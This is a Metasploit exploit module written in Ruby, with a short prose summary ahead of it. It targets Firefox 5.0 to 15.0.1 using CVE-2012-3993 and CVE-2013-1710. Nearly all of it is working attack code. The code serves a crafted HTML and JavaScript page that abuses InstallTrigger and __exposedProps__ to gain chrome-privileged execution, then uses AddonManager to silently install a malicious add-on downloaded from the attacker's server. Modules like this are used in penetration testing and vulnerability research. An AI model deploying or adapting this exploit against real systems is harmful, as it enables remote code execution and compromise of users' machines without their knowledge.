On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given invalid input, would throw an exception that did not have an __exposedProps__ property set. By re-setting this property on the exception object's prototype, the chrome-based defineProperty method is made available. With the defineProperty method, functions belonging to window and document can be overriden with a function that gets called from chrome-privileged context. From here, another vulnerability in the crypto.generateCRMFRequest function is used to "peek" into the context's private scope. Since the window does not have a chrome:// URL, the insecure parts of Components.classes are not available, so instead the AddonManager API is invoked to silently install a malicious plugin.
f9c391aa7b550b10c8e9686f804da688eca5b3b20ea450df0a1b9e0dac71ac00##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Remote::FirefoxAddonGenerator
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
'Description' => %q{
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
invalid input, would throw an exception that did not have an __exposedProps__
property set. By re-setting this property on the exception object's prototype,
the chrome-based defineProperty method is made available.
With the defineProperty method, functions belonging to window and document can be
overriden with a function that gets called from chrome-privileged context. From here,
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
into the context's private scope. Since the window does not have a chrome:// URL,
the insecure parts of Components.classes are not available, so instead the AddonManager
API is invoked to silently install a malicious plugin.
},
'License' => MSF_LICENSE,
'Author' => [
'Mariusz Mlynski', # discovered CVE-2012-3993
'moz_bug_r_a4', # discovered CVE-2013-1710
'joev' # metasploit module
],
'DisclosureDate' => "Aug 6 2013",
'References' => [
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
['OSVDB', '86111'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
['OSVDB', '96019']
],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
], self.class)
end
def on_request_exploit(cli, request, target_info)
if request.uri.match(/\.xpi$/i)
print_status("Sending the malicious addon")
send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
else
print_status("Sending HTML")
send_response_html(cli, generate_html(target_info))
end
end
def generate_html(target_info)
injection = if target_info[:ua_ver].to_i == 15
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
else
"p2.constructor.defineProperty(obj,key,{get:runme});"
end
%Q|
<html>
<body>
#{datastore['CONTENT']}
<div id='payload' style='display:none'>
if (!window.done){
window.AddonManager.getInstallForURL(
'#{get_module_uri}/addon.xpi',
function(install) { install.install() },
'application/x-xpinstall'
);
window.done = true;
}
</div>
<script>
try{InstallTrigger.install(0)}catch(e){p=e;};
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
p2.__exposedProps__={
constructor:'rw',
prototype:'rw',
defineProperty:'rw',
__exposedProps__:'rw'
};
var s = document.querySelector('#payload').innerHTML;
var q = false;
var register = function(obj,key) {
var runme = function(){
if (q) return;
q = true;
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
};
try {
#{injection}
} catch (e) {}
};
for (var i in window) register(window, i);
for (var i in document) register(document, i);
</script>
</body>
</html>
|
end
end
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